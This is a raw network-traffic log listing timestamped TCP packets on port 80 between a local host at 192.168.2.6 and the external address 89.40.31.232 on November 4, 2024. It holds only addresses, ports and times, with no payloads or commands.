Nov 4, 2024 16:52:38.630759954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630770922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630776882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630808115 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630814075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630815029 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630815029 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630820990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630831957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630837917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630844116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630850077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630861998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630873919 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630906105 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630906105 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630997896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631005049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631022930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631028891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631035089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631041050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631047010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631052971 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631053925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631062031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631067038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631071091 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631074905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631081104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631088972 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631115913 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631166935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631174088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631175041 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631187916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631196976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631203890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631210089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631217003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631222010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631239891 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631325006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631333113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631339073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631345034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631349087 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631350994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631359100 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631362915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631370068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631381989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631387949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631393909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631398916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631398916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631401062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631480932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631500006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631504059 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631506920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631519079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631525993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631531000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631532907 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631545067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631551027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631556988 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631558895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631576061 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631643057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631654978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631660938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631664991 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631666899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631675005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631680965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.631716013 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631716013 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.631761074 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.679074049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679106951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679115057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679121017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679128885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679167032 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.679209948 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.679244995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679251909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679266930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679296017 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.679322958 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.679718018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679738045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679744959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679799080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679805040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679811001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679817915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679816961 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.679853916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.679872036 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.679894924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679902077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679914951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679922104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679936886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679943085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.679945946 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.679972887 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680016041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680022001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680027962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680033922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680044889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680052042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680058956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680077076 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680097103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680098057 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680104017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680116892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680123091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680130005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680141926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680147886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680154085 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680155039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680181980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680186987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680197001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680205107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680207014 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680219889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680226088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680232048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680238008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680249929 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680279970 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680303097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680310965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680324078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680330038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680341005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680356026 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680385113 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680401087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680408001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680419922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680439949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680448055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680452108 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680454969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680461884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680471897 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680541039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680624008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680669069 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680670977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680677891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680718899 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680753946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680761099 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680774927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680780888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680788040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680802107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680808067 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680825949 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680845976 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680859089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680865049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680871010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680881977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680887938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680898905 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680907965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.680934906 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680953979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.680963993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681010008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681018114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681052923 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681112051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681118965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681132078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681138992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681165934 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681181908 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681220055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681227922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681241989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681273937 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681278944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681286097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681298018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681302071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681308031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681313992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681327105 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681346893 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681396961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681417942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681423903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681437016 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681437016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681444883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681451082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681469917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681474924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681477070 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681480885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681487083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681492090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681505919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681508064 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681520939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681534052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681540012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681545019 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681545973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681552887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681597948 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681746960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681766033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681772947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681778908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681791067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681797028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681802034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681808949 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681814909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681819916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681833029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681834936 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681838989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681845903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681857109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681863070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.681864023 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681881905 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.681901932 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.682451963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682460070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682471991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682477951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682483912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682490110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682502031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682508945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682514906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682527065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682529926 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.682533979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682539940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682545900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682574987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682583094 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.682588100 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682594061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682605028 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.682605982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682611942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682617903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682621002 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.682625055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682631016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682636023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682641983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682646990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682657003 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.682665110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682672977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682679892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682684898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682692051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682697058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682703972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682708979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682714939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682720900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682728052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682733059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682739973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682742119 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.682770014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682775974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682786942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682790995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682796955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682802916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682809114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682816982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682830095 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.682907104 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.682965040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682971954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682977915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682988882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.682996035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.683008909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.683010101 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.683015108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.683022976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.683029890 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.683029890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.683036089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.683042049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.683049917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.683075905 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.683106899 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.683609009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.684428930 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.729628086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.729650974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.729674101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.729681969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.729688883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.729780912 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730057001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730149984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730284929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730289936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730304003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730339050 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730494976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730511904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730516911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730554104 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730568886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730576992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730590105 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730623007 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.730628014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730635881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730648994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730657101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730664015 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730669975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.730690002 CET	59474	80	192.168.2.6	89.40.31.232
